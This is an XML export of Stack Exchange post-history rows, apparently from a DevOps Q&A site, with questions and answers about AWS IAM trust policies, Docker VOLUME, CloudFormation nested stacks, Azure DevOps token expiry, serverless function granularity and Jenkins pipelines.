  <row Id="16094" PostHistoryTypeId="5" PostId="5094" RevisionGUID="7e57afc3-a858-4c17-9c8b-dadb10284990" CreationDate="2018-10-01T20:28:17.073" UserId="8737" Comment="added 631 characters in body" Text="I'm confused as to what the purpose of AssumeRolePolicyDocument is.  &#xD;&#xA;It seems like to create a role all you need is a parent name that you can attach policies to.&#xD;&#xA;It seems like AssumeRolePolicyDocument is that parent name but somehow there's more to it. &#xD;&#xA;What is this doing?&#xD;&#xA;&#xD;&#xA;           &quot;AssumeRolePolicyDocument&quot;: {&#xD;&#xA;                    &quot;Version&quot;: &quot;2012-10-17&quot;,&#xD;&#xA;                    &quot;Statement&quot;: [&#xD;&#xA;                        {&#xD;&#xA;                            &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;                            &quot;Principal&quot;: {&#xD;&#xA;                                &quot;Service&quot;: [&#xD;&#xA;                                    &quot;lambda.amazonaws.com&quot;&#xD;&#xA;                                ]&#xD;&#xA;                            },&#xD;&#xA;                            &quot;Action&quot;: [&#xD;&#xA;                                &quot;sts:AssumeRole&quot;&#xD;&#xA;                            ]&#xD;&#xA;                        }&#xD;&#xA;                    ]&#xD;&#xA;                }," ContentLicense="CC BY-SA 4.0" />
  <row Id="16095" PostHistoryTypeId="2" PostId="5095" RevisionGUID="a3663bcb-61f5-44c3-86e2-7b24475cce0e" CreationDate="2018-10-01T21:59:06.920" UserId="10123" Text="When writing a Dockerfile, I do have the option of specifying volumes, such as:&#xD;&#xA;&#xD;&#xA;    VOLUME /var/www&#xD;&#xA;&#xD;&#xA;But even without this declaration I am able to mount volumes to this directory and other places, e.g. by using `-v /foo:/var/www` or -v `./httpd/conf.d:/usr/local/apache2/conf/conf.d` for bind mounts when running docker.&#xD;&#xA;&#xD;&#xA;So:&#xD;&#xA;&#xD;&#xA;1. Is the specification purely informational?&#xD;&#xA;2. What are the (dis)advantages of (not) specifying volumes?&#xD;&#xA;3. Why and in which cases should I use `VOLUME` and when shouldn't I?&#xD;&#xA;4. What about files that may optionally be mounted? Do they count as volumes in that case, too?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16096" PostHistoryTypeId="1" PostId="5095" RevisionGUID="a3663bcb-61f5-44c3-86e2-7b24475cce0e" CreationDate="2018-10-01T21:59:06.920" UserId="10123" Text="When exactly and what for should VOLUME in a Dockerfile be used?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16097" PostHistoryTypeId="3" PostId="5095" RevisionGUID="a3663bcb-61f5-44c3-86e2-7b24475cce0e" CreationDate="2018-10-01T21:59:06.920" UserId="10123" Text="&lt;docker&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16099" PostHistoryTypeId="2" PostId="5096" RevisionGUID="ca659aae-258a-4b52-8296-8941bd67704f" CreationDate="2018-10-02T03:57:39.383" UserId="8737" Text="How and is it possible to use a local file for a CloudFormation stack besides an S3 bucket?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16100" PostHistoryTypeId="1" PostId="5096" RevisionGUID="ca659aae-258a-4b52-8296-8941bd67704f" CreationDate="2018-10-02T03:57:39.383" UserId="8737" Text="How can I use a local file for a nested Cloudformation stack?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16101" PostHistoryTypeId="3" PostId="5096" RevisionGUID="ca659aae-258a-4b52-8296-8941bd67704f" CreationDate="2018-10-02T03:57:39.383" UserId="8737" Text="&lt;amazon-web-services&gt;&lt;aws-cloudformation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16102" PostHistoryTypeId="2" PostId="5097" RevisionGUID="5af3f7c9-3de4-494d-a485-b27a50691f4f" CreationDate="2018-10-02T04:52:42.560" UserId="8800" Text="I'm afraid you can't. The nested stack files must be in S3 as far as I know. You have a couple of options:&#xD;&#xA;&#xD;&#xA;1. Have some **automation** in place (e.g. *aws-cli* + *shell script*, or better *ansible*) that when executed will upload all the templates to a designated S3 bucket and then execute the the CloudFormation deployment.&#xD;&#xA;&#xD;&#xA;2. Use some **templating engine** like *Ansible + Jinja* or similar that can build a big CFN template from little snippets saved in separate files. With Jinja you can also use loops, lookup variables, etc, to build your final template file. Then again you can use the same *Ansible* playbook to deploy it. Or do it manually as it will only be a single file.&#xD;&#xA;&#xD;&#xA;Hope that helps :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="16103" PostHistoryTypeId="50" PostId="4508" RevisionGUID="23aac503-0b5a-4d3f-89e9-2da0ea0a9b9a" CreationDate="2018-10-02T09:00:52.503" UserId="-1" />
  <row Id="16104" PostHistoryTypeId="2" PostId="5098" RevisionGUID="2e4c952c-45e7-4249-a826-5f81867af303" CreationDate="2018-10-02T13:00:24.103" UserId="800" Text="**Short version**  &#xD;&#xA;&#xD;&#xA;`VOLUME` instruction is used to create unnamed/anonymous volumes, `-v` option is for mapped volume.&#xD;&#xA;&#xD;&#xA;**Long Version**&#xD;&#xA;&#xD;&#xA;Dockerfile's `VOLUME` does not allow you to specify a host path.   &#xD;&#xA;On the host-side, the volumes are created with a very long ID-like name, these volumes are often referred to as unnamed/anonymous volumes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Given this Dockerfile:&#xD;&#xA;&#xD;&#xA;    FROM php7:latest&#xD;&#xA;    VOLUME /var/www&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Build it:&#xD;&#xA;&#xD;&#xA;    docker build -t myTest&#xD;&#xA;&#xD;&#xA;Run it :&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    docker run --rm -it myTest&#xD;&#xA;&#xD;&#xA;Inside the container, run `ls` and you'll notice the directory exists; `/var/www` &#xD;&#xA;&#xD;&#xA;Running the container also creates a directory on the host-side.&#xD;&#xA;&#xD;&#xA;While having the container running, execute `docker volume ls` on the host machine and you'll see something like this &#xD;&#xA;&#xD;&#xA;    DRIVER    VOLUME NAME&#xD;&#xA;    local     c984..e4fc&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Back in the _container_, execute `touch /var/www/myFile`&#xD;&#xA;&#xD;&#xA;This file is now available on the host machine, in one of the unnamed volumes. &#xD;&#xA;&#xD;&#xA;    ls /var/lib/docker/volumes/c984..e4fc/_data&#xD;&#xA;&#xD;&#xA;Similarly, you can try to delete this file on the host and it will be deleted in the container as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now run a new container, but specify a volume using `-v`:&#xD;&#xA;&#xD;&#xA;    docker run --rm -it -v /myVolume myTest&#xD;&#xA;&#xD;&#xA;This _adds_ a second volume and the whole system ends up having two unnamed volumes.&#xD;&#xA;On the host-side, the new second volume is anonymous and resides together with the other volume in `/var/lib/docker/volumes/`.&#xD;&#xA;&#xD;&#xA;It was stated earlier that the `Dockerfile` can not map to a host path which sort of pose a problem for us when trying to bring files in from the host to the container during runtime. A different `-v` syntax solves this problem.&#xD;&#xA;&#xD;&#xA;Imagine I have a subfolder in my project directory `./src` that I wish to sync to `/src` inside the container. This command does the trick:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    docker run -it -v $(pwd)/src:/src myTest&#xD;&#xA;&#xD;&#xA;Both sides of the `:` character expects an absolute path. Left side being an absolute path on the host machine, right side being an absolute path inside the container.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;We run this command:&#xD;&#xA;&#xD;&#xA;    docker run -v $(pwd)/src:/src myTest&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Is the specification purely informational?**&#xD;&#xA;&#xD;&#xA;No, it does mount a volume, it's similar to `-v /var/www` you don't just specify a mount point in the host machine , so docker will take care of it.&#xD;&#xA;&#xD;&#xA;**What are the (dis)advantages of (not) specifying volumes?**  &#xD;&#xA;**Why and in which cases should I use VOLUME and when shouldn't I?**&#xD;&#xA;&#xD;&#xA;It's probably a best practice to never use `VOLUME`.  &#xD;&#xA;The first reason we have already identified: We can not specify the host path.  &#xD;&#xA;The second reason is people might forget to use the `--rm` option when running the container, you will end up with a couple of unused volumes and it might be a daunting task to figure out which of all anonymous volumes are safe to remove &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**What about files that may optionally be mounted? Do they count as volumes in that case, too?**&#xD;&#xA;&#xD;&#xA;In this case you don't need volumes; mapping a single file does not make sense, I would use `ADD` or `COPY` inside the dockerfile." ContentLicense="CC BY-SA 4.0" />
  <row Id="16105" PostHistoryTypeId="5" PostId="5098" RevisionGUID="f346ab96-1d5a-4906-9888-dda5a5a160c8" CreationDate="2018-10-02T13:41:46.107" UserId="800" Comment="deleted 1 character in body" Text="**Short version**  &#xD;&#xA;&#xD;&#xA;`VOLUME` instruction is used to create unnamed/anonymous volumes, `-v` option is for mapped volume.&#xD;&#xA;&#xD;&#xA;**Long Version**&#xD;&#xA;&#xD;&#xA;Dockerfile's `VOLUME` does not allow you to specify a host path.   &#xD;&#xA;On the host-side, the volumes are created with a very long ID-like name, these volumes are often referred to as unnamed/anonymous volumes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Given this Dockerfile:&#xD;&#xA;&#xD;&#xA;    FROM php7:latest&#xD;&#xA;    VOLUME /var/www&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Build it:&#xD;&#xA;&#xD;&#xA;    docker build -t myTest&#xD;&#xA;&#xD;&#xA;Run it :&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    docker run --rm -it myTest&#xD;&#xA;&#xD;&#xA;Inside the container, run `ls` and you'll notice the directory exists; `/var/www` &#xD;&#xA;&#xD;&#xA;Running the container also creates a directory on the host-side.&#xD;&#xA;&#xD;&#xA;While having the container running, execute `docker volume ls` on the host machine and you'll see something like this &#xD;&#xA;&#xD;&#xA;    DRIVER    VOLUME NAME&#xD;&#xA;    local     c984..e4fc&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Back in the _container_, execute `touch /var/www/myFile`&#xD;&#xA;&#xD;&#xA;This file is now available on the host machine, in one of the unnamed volumes. &#xD;&#xA;&#xD;&#xA;    ls /var/lib/docker/volumes/c984..e4fc/_data&#xD;&#xA;&#xD;&#xA;Similarly, you can try to delete this file on the host and it will be deleted in the container as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now run a new container, but specify a volume using `-v`:&#xD;&#xA;&#xD;&#xA;    docker run --rm -it -v /myVolume myTest&#xD;&#xA;&#xD;&#xA;This _adds_ a second volume and the whole system ends up having two unnamed volumes.&#xD;&#xA;On the host-side, the new second volume is anonymous and resides together with the other volume in `/var/lib/docker/volumes/`.&#xD;&#xA;&#xD;&#xA;It was stated earlier that the `Dockerfile` can not map to a host path which sort of pose a problem for us when trying to bring files in from the host to the container during runtime. A different `-v` syntax solves this problem.&#xD;&#xA;&#xD;&#xA;Imagine I have a subfolder in my project directory `./src` that I wish to sync to `/src` inside the container. This command does the trick:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    docker run -it -v $(pwd)/src:/src myTest&#xD;&#xA;&#xD;&#xA;Both sides of the `:` character expects an absolute path. Left side being an absolute path on the host machine, right side being an absolute path inside the container.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;We run this command:&#xD;&#xA;&#xD;&#xA;    docker run -v $(pwd)/src:/src myTest&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Is the specification purely informational?**&#xD;&#xA;&#xD;&#xA;No, it does mount a volume, it's similar to `-v /var/www` you just don't specify a mount point in the host machine, so docker will take care of it.&#xD;&#xA;&#xD;&#xA;**What are the (dis)advantages of (not) specifying volumes?**  &#xD;&#xA;**Why and in which cases should I use VOLUME and when shouldn't I?**&#xD;&#xA;&#xD;&#xA;It's probably a best practice to never use `VOLUME`.  &#xD;&#xA;The first reason we have already identified: We can not specify the host path.  &#xD;&#xA;The second reason is people might forget to use the `--rm` option when running the container, you will end up with a couple of unused volumes and it might be a daunting task to figure out which of all anonymous volumes are safe to remove &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**What about files that may optionally be mounted? Do they count as volumes in that case, too?**&#xD;&#xA;&#xD;&#xA;In this case you don't need volumes; mapping a single file does not make sense, I would use `ADD` or `COPY` inside the dockerfile." ContentLicense="CC BY-SA 4.0" />
  <row Id="16106" PostHistoryTypeId="5" PostId="5098" RevisionGUID="6a36b11c-5a8c-4f5e-9509-7326dd56553d" CreationDate="2018-10-02T14:25:31.027" UserId="800" Comment="added 24 characters in body" Text="**Short version**  &#xD;&#xA;&#xD;&#xA;`VOLUME` instruction and `-v dest` are used to create unnamed/anonymous volumes, `-v scr:dest` option is for mapped volume.&#xD;&#xA;&#xD;&#xA;**Long Version**&#xD;&#xA;&#xD;&#xA;Dockerfile's `VOLUME` does not allow you to specify a host path.   &#xD;&#xA;On the host-side, the volumes are created with a very long ID-like name, these volumes are often referred to as unnamed/anonymous volumes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Given this Dockerfile:&#xD;&#xA;&#xD;&#xA;    FROM php7:latest&#xD;&#xA;    VOLUME /var/www&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Build it:&#xD;&#xA;&#xD;&#xA;    docker build -t myTest&#xD;&#xA;&#xD;&#xA;Run it :&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    docker run --rm -it myTest&#xD;&#xA;&#xD;&#xA;Inside the container, run `ls` and you'll notice the directory exists; `/var/www` &#xD;&#xA;&#xD;&#xA;Running the container also creates a directory on the host-side.&#xD;&#xA;&#xD;&#xA;While having the container running, execute `docker volume ls` on the host machine and you'll see something like this &#xD;&#xA;&#xD;&#xA;    DRIVER    VOLUME NAME&#xD;&#xA;    local     c984..e4fc&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Back in the _container_, execute `touch /var/www/myFile`&#xD;&#xA;&#xD;&#xA;This file is now available on the host machine, in one of the unnamed volumes. &#xD;&#xA;&#xD;&#xA;    ls /var/lib/docker/volumes/c984..e4fc/_data&#xD;&#xA;&#xD;&#xA;Similarly, you can try to delete this file on the host and it will be deleted in the container as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now run a new container, but specify a volume using `-v`:&#xD;&#xA;&#xD;&#xA;    docker run --rm -it -v /myVolume myTest&#xD;&#xA;&#xD;&#xA;This _adds_ a second volume and the whole system ends up having two unnamed volumes.&#xD;&#xA;On the host-side, the new second volume is anonymous and resides together with the other volume in `/var/lib/docker/volumes/`.&#xD;&#xA;&#xD;&#xA;It was stated earlier that the `Dockerfile` can not map to a host path which sort of pose a problem for us when trying to bring files in from the host to the container during runtime. A different `-v` syntax solves this problem.&#xD;&#xA;&#xD;&#xA;Imagine I have a subfolder in my project directory `./src` that I wish to sync to `/src` inside the container. This command does the trick:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    docker run -it -v $(pwd)/src:/src myTest&#xD;&#xA;&#xD;&#xA;Both sides of the `:` character expects an absolute path. Left side being an absolute path on the host machine, right side being an absolute path inside the container.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;We run this command:&#xD;&#xA;&#xD;&#xA;    docker run -v $(pwd)/src:/src myTest&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Is the specification purely informational?**&#xD;&#xA;&#xD;&#xA;No, it does mount a volume, it's similar to `-v /var/www` you just don't specify a mount point in the host machine, so docker will take care of it.&#xD;&#xA;&#xD;&#xA;**What are the (dis)advantages of (not) specifying volumes?**  &#xD;&#xA;**Why and in which cases should I use VOLUME and when shouldn't I?**&#xD;&#xA;&#xD;&#xA;It's probably a best practice to never use `VOLUME`.  &#xD;&#xA;The first reason we have already identified: We can not specify the host path.  &#xD;&#xA;The second reason is people might forget to use the `--rm` option when running the container, you will end up with a couple of unused volumes and it might be a daunting task to figure out which of all anonymous volumes are safe to remove &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**What about files that may optionally be mounted? Do they count as volumes in that case, too?**&#xD;&#xA;&#xD;&#xA;In this case you don't need volumes; mapping a single file does not make sense, I would use `ADD` or `COPY` inside the dockerfile." ContentLicense="CC BY-SA 4.0" />
  <row Id="16107" PostHistoryTypeId="50" PostId="4584" RevisionGUID="79855d45-76e3-499b-9de1-2f14ccf041e7" CreationDate="2018-10-02T15:00:33.953" UserId="-1" />
  <row Id="16108" PostHistoryTypeId="2" PostId="5099" RevisionGUID="4a61b10a-0aaf-4efd-a324-9008a79d535a" CreationDate="2018-10-02T15:05:14.813" UserId="9077" Text="Its pretty self descriptive.  The purpose of the `AssumeRolePolicyDocument` is to contain the trust relationship policy that grants an entity permission to assume the role.&#xD;&#xA;&#xD;&#xA;In your example it's granting the Lambda service the ability to assume &#xD;&#xA;&#xD;&#xA;**References**&#xD;&#xA;&#xD;&#xA;[https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iam-role.html][1]&#xD;&#xA;&#xD;&#xA;[https://docs.aws.amazon.com/cli/latest/reference/iam/create-role.html][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-iam-role.html&#xD;&#xA;  [2]: https://docs.aws.amazon.com/cli/latest/reference/iam/create-role.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="16111" PostHistoryTypeId="50" PostId="4825" RevisionGUID="c9a3a42c-bbc8-44ea-8464-26f0ec348cc4" CreationDate="2018-10-02T16:01:53.433" UserId="-1" />
  <row Id="16112" PostHistoryTypeId="2" PostId="5100" RevisionGUID="cdab76fc-c745-460b-aa2e-c77b9822bcab" CreationDate="2018-10-02T18:18:21.923" UserId="3062" Text="In azure devops when you create a PAT you can set it's lifetime up to a year.  What happens when it expires?  Does it auto renew?  Do I need to crate a new one and for every service that uses it, I need to track down and update it's credentials?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16113" PostHistoryTypeId="1" PostId="5100" RevisionGUID="cdab76fc-c745-460b-aa2e-c77b9822bcab" CreationDate="2018-10-02T18:18:21.923" UserId="3062" Text="What happens when a PAT expires" ContentLicense="CC BY-SA 4.0" />
  <row Id="16114" PostHistoryTypeId="3" PostId="5100" RevisionGUID="cdab76fc-c745-460b-aa2e-c77b9822bcab" CreationDate="2018-10-02T18:18:21.923" UserId="3062" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16116" PostHistoryTypeId="2" PostId="5101" RevisionGUID="19df1b6d-95e4-4707-865a-7b00282af9ac" CreationDate="2018-10-02T20:21:53.310" UserId="9495" Text="If you are unsure what happened, try deploying it in AWS via [AWS vault quickstarts][1]. They deploy vault end-to-end, so now you can compare it to yours and find out what was the problem.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/quickstart/architecture/vault/" ContentLicense="CC BY-SA 4.0" />
  <row Id="16117" PostHistoryTypeId="2" PostId="5102" RevisionGUID="b8adc16a-bbf5-4c2b-860a-b7d0b20aa571" CreationDate="2018-10-02T20:31:28.903" UserId="9495" Text="Well, the first step is to use a backend which supports HA. Consul, for example, supports HA. If you are not an enterprise customer, you make have to run a shell script via cron to upload consul snapshots to s3 or where ever you want to store them. Later, you can restore all your secrets. And obviously, the snapshots are encrypted. " ContentLicense="CC BY-SA 4.0" />
  <row Id="16118" PostHistoryTypeId="50" PostId="4058" RevisionGUID="b5003561-6d5a-40d0-a6ad-40c79c0cbdc9" CreationDate="2018-10-02T21:00:55.277" UserId="-1" />
  <row Id="16119" PostHistoryTypeId="2" PostId="5103" RevisionGUID="49b590f2-7f24-4519-949f-56ee897aa3a9" CreationDate="2018-10-03T01:10:05.843" UserId="10144" Text="For clarification, when I say &quot;FaaS&quot; I am referring to serverless offerings such as AWS Lambda and Google Cloud Functions. &#xD;&#xA;&#xD;&#xA;I have a specific case in mind that I'll describe but I would very much like to hear about any guiding principles in this area as well.&#xD;&#xA;&#xD;&#xA;I have a Google Cloud Function that is currently doing some image processing. The flow looks like this: &#xD;&#xA;&#xD;&#xA;1. JSON file containing several base64 encoded images is uploaded to storage bucket&#xD;&#xA;2. Cloud Fucntion downloads file&#xD;&#xA;3. Converts and merges all base64 strings into image file&#xD;&#xA;4. Uploads image file to storage bucket&#xD;&#xA;5. Calls Google Cloud Vision API once file is uploaded&#xD;&#xA;&#xD;&#xA;This works, but it has me wondering: how much should a single function *do*? Most discussions I see regarding single purpose vs. monolithic functions are centered around monolithic functions having logic branches e.g. &quot;if-else&quot;. In the above case, this is an example of doing a lot, but, it's conceptually a single unit of &quot;work&quot;. &#xD;&#xA;&#xD;&#xA;Were I to refactor this into true single purpose functions, I imagine I'd have two functions -- one for downloading and merging images and the other for calling the Vision API. This splits what I consider &quot;image processing&quot; into two sub-units. I have no problem doing this but I'm curious to know whats a good rule-of-thumb for &quot;splitting&quot; FaaS function?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16120" PostHistoryTypeId="1" PostId="5103" RevisionGUID="49b590f2-7f24-4519-949f-56ee897aa3a9" CreationDate="2018-10-03T01:10:05.843" UserId="10144" Text="How granular in purpose should FaaS functions be?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16121" PostHistoryTypeId="3" PostId="5103" RevisionGUID="49b590f2-7f24-4519-949f-56ee897aa3a9" CreationDate="2018-10-03T01:10:05.843" UserId="10144" Text="&lt;aws-lambda&gt;&lt;serverless&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16122" PostHistoryTypeId="5" PostId="5103" RevisionGUID="3772bbce-716b-4aa2-a1a2-69ebec53ad3e" CreationDate="2018-10-03T01:15:44.927" UserId="10144" Comment="added 229 characters in body" Text="For clarification, when I say &quot;FaaS&quot; I am referring to serverless offerings such as AWS Lambda and Google Cloud Functions. &#xD;&#xA;&#xD;&#xA;I have a specific case in mind that I'll describe but I would very much like to hear about any guiding principles in this area as well.&#xD;&#xA;&#xD;&#xA;I have a Google Cloud Function that is currently doing some image processing. The flow looks like this: &#xD;&#xA;&#xD;&#xA;1. JSON file containing several base64 encoded images is uploaded to storage bucket&#xD;&#xA;2. Cloud Fucntion downloads file&#xD;&#xA;3. Converts and merges all base64 strings into image file&#xD;&#xA;4. Uploads image file to storage bucket&#xD;&#xA;5. Calls Google Cloud Vision API once file is uploaded&#xD;&#xA;&#xD;&#xA;This works, but it has me wondering: how much should a single function *do*? Most discussions I see regarding single purpose vs. monolithic functions are centered around monolithic functions having logic branches e.g. &quot;if-else&quot;. In the above case, this is an example of doing a lot, but, it's conceptually a single unit of &quot;work&quot;. &#xD;&#xA;&#xD;&#xA;Were I to refactor this into true single purpose functions, I imagine I'd have two functions -- one for downloading and merging images and the other for calling the Vision API. This splits what I consider &quot;image processing&quot; into two sub-units. I have no problem doing this but I'm curious to know whats a good rule-of-thumb for &quot;splitting&quot; FaaS function?&#xD;&#xA;&#xD;&#xA;Edit: if anyone is wondering why the image file gets uploaded back into a storage bucket and then the Vision API is called, this due to a limitation of that API where inputs can only be storage bucket URIs and not local files" ContentLicense="CC BY-SA 4.0" />
  <row Id="16123" PostHistoryTypeId="2" PostId="5104" RevisionGUID="9cbaa6dd-21cd-47e0-b7ca-93c08b1d987c" CreationDate="2018-10-03T03:57:45.213" UserId="10146" Text="I have various Jenkins agents images and I am trying to add automation to it.&#xD;&#xA;&#xD;&#xA;I have a base java image called agent-base and those who inherit from that one. Eg: agent-ansible, agent-terraform and so on. In some case, I even have a 3rd level.&#xD;&#xA;&#xD;&#xA;I have many unanswered questions in my head so I will just throw them in here.&#xD;&#xA;&#xD;&#xA;What would be the best way to update the child images when a parent is updated? Downstream pipelines perhaps?&#xD;&#xA;Or should I keep all the Dockerfiles in a single repository and have a script that know the images hierarchy?&#xD;&#xA;More importantly, how should I tag (version) my child images? Should it contain my parents version too? In the tag itself or as labels.&#xD;&#xA;&#xD;&#xA;Thank you" ContentLicense="CC BY-SA 4.0" />
  <row Id="16124" PostHistoryTypeId="1" PostId="5104" RevisionGUID="9cbaa6dd-21cd-47e0-b7ca-93c08b1d987c" CreationDate="2018-10-03T03:57:45.213" UserId="10146" Text="Manage Docker images and their child images in a pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="16125" PostHistoryTypeId="3" PostId="5104" RevisionGUID="9cbaa6dd-21cd-47e0-b7ca-93c08b1d987c" CreationDate="2018-10-03T03:57:45.213" UserId="10146" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16126" PostHistoryTypeId="2" PostId="5105" RevisionGUID="2ffec757-87f8-45e9-bce6-8f653a31fd6b" CreationDate="2018-10-03T11:44:20.707" UserId="13" Text="In my point of view, you can have a future gain separating the function into multiple parts because it will allow to use another combining system/upload/whatever as input to the processing part and another system to process the images later.&#xD;&#xA;&#xD;&#xA;My personal rule of thumb for separation is the main concern:&#xD;&#xA;&#xD;&#xA;- Step 1 is giving the input, it's already somethhing it itself.&#xD;&#xA;- Steps 3 and 4 are, basically, take an input, do the work andgive an output. It waits base64 strings as input and output an image file to a bucket, it should be autonomous in its processing&#xD;&#xA;- Step 5 is an api call, it waits image as input and &quot;whatever vision API does&quot; as result/output, that's a task in itself.&#xD;&#xA;&#xD;&#xA;I did omit step 2 as it's the trigger of step 3 and 4.&#xD;&#xA;&#xD;&#xA;The main interest into this separation of duty is the possibility to work with contracts between the functions (mostly bullet 2 and 3): 2 is expected to output images in a bucket, 3 expects to find images in a bucket, you can then replace 2 or 3 with whatever you want as long as this contract is fulfilled.&#xD;&#xA;&#xD;&#xA;Now for when to do this split and is it necessary, if you don't expect things to change in a near future and there's no hard limit approaching, like the time to do the whole work is approaching the max execution time, then there's no need to over anticipate problems in my humble opinion, the whole step 3 to 5 can be seen as a single task unit as you said and this make sense.&#xD;&#xA;&#xD;&#xA;My take would be to measure the time within the function to see if there's an interest (for parallel processing for exemple) in taking the combine and transform to image to its own unit.&#xD;&#xA;&#xD;&#xA;In brief to answer the question title: there's no silver bullet or hard rule for the granularity, it's always a matter of weighting the benefits toward the cost of slicing the process." ContentLicense="CC BY-SA 4.0" />
  <row Id="16127" PostHistoryTypeId="5" PostId="4564" RevisionGUID="e62aeb5b-3404-4c44-86c4-e9913c13e3f2" CreationDate="2018-10-03T14:23:21.357" UserId="3062" Comment="added 155 characters in body" Text="Closing this issue as we were able to modify the process with the teams involved to be able to define the variable when the release is created.&#xD;&#xA;&#xD;&#xA;Our answer is to modify the existing process and accompanying software to remove this need&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Edit: To clairify the software that activated the database was re-written to allow CLI variables to be passed, which can be set for each environment." ContentLicense="CC BY-SA 4.0" />
  <row Id="16128" PostHistoryTypeId="5" PostId="4399" RevisionGUID="2202025d-9db0-4043-8ef0-a80623d0834c" CreationDate="2018-10-03T15:32:40.703" UserId="4115" Comment="added 5 characters in body" Text="If you are using Pipeline (i.e. Jenkinsfile), use [`withCredentials`](https://jenkins.io/doc/pipeline/steps/credentials-binding/).  To give a quick and dirty example:&#xD;&#xA;&#xD;&#xA;    withCredentials([[&#xD;&#xA;      $class: 'UsernamePasswordMultiBinding',&#xD;&#xA;      credentialsId: 'my-credentials',&#xD;&#xA;      usernameVariable: 'user',&#xD;&#xA;      passwordVariable: 'pw',&#xD;&#xA;    ]]) {&#xD;&#xA;      sh(&quot;./my-python-script.py --user ${user} --password ${pw}&quot;)&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Your credentials will be automatically redacted from the console output to help prevent sensitive information from leaking." ContentLicense="CC BY-SA 4.0" />
  <row Id="16129" PostHistoryTypeId="6" PostId="3391" RevisionGUID="d567c5e7-427b-4db7-9ea9-1128b1cb22ae" CreationDate="2018-10-03T15:38:19.480" UserId="228" Comment="edited tags" Text="&lt;release&gt;&lt;process&gt;&lt;branch&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16130" PostHistoryTypeId="4" PostId="2834" RevisionGUID="e641880d-7192-444f-9b3b-2df163026344" CreationDate="2018-10-03T15:44:43.787" UserId="228" Comment="edited title" Text="How to hot deploy to Tomcat with Ansible" ContentLicense="CC BY-SA 4.0" />
  <row Id="16131" PostHistoryTypeId="5" PostId="2741" RevisionGUID="e8e52172-c341-4c6f-a18a-1afa3ebbb650" CreationDate="2018-10-03T15:45:55.467" UserId="228" Comment="deleted 2 characters in body" Text="For something that requires being agnostic to the tooling, and having the flexibility you need, your best bet is Jenkins.  https://jenkins.io/.  They have a ton of plugins that would meet any use case.  Be aware that Jenkins can be heavy for small teams, but your other options lack the flexibility and support for different communities.&#xD;&#xA;&#xD;&#xA;You can check out other tools:&#xD;&#xA;&#xD;&#xA; - Team city &#xD;&#xA; - CircleCI/Travis CI&#xD;&#xA; - Semaphore&#xD;&#xA; - ETC&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
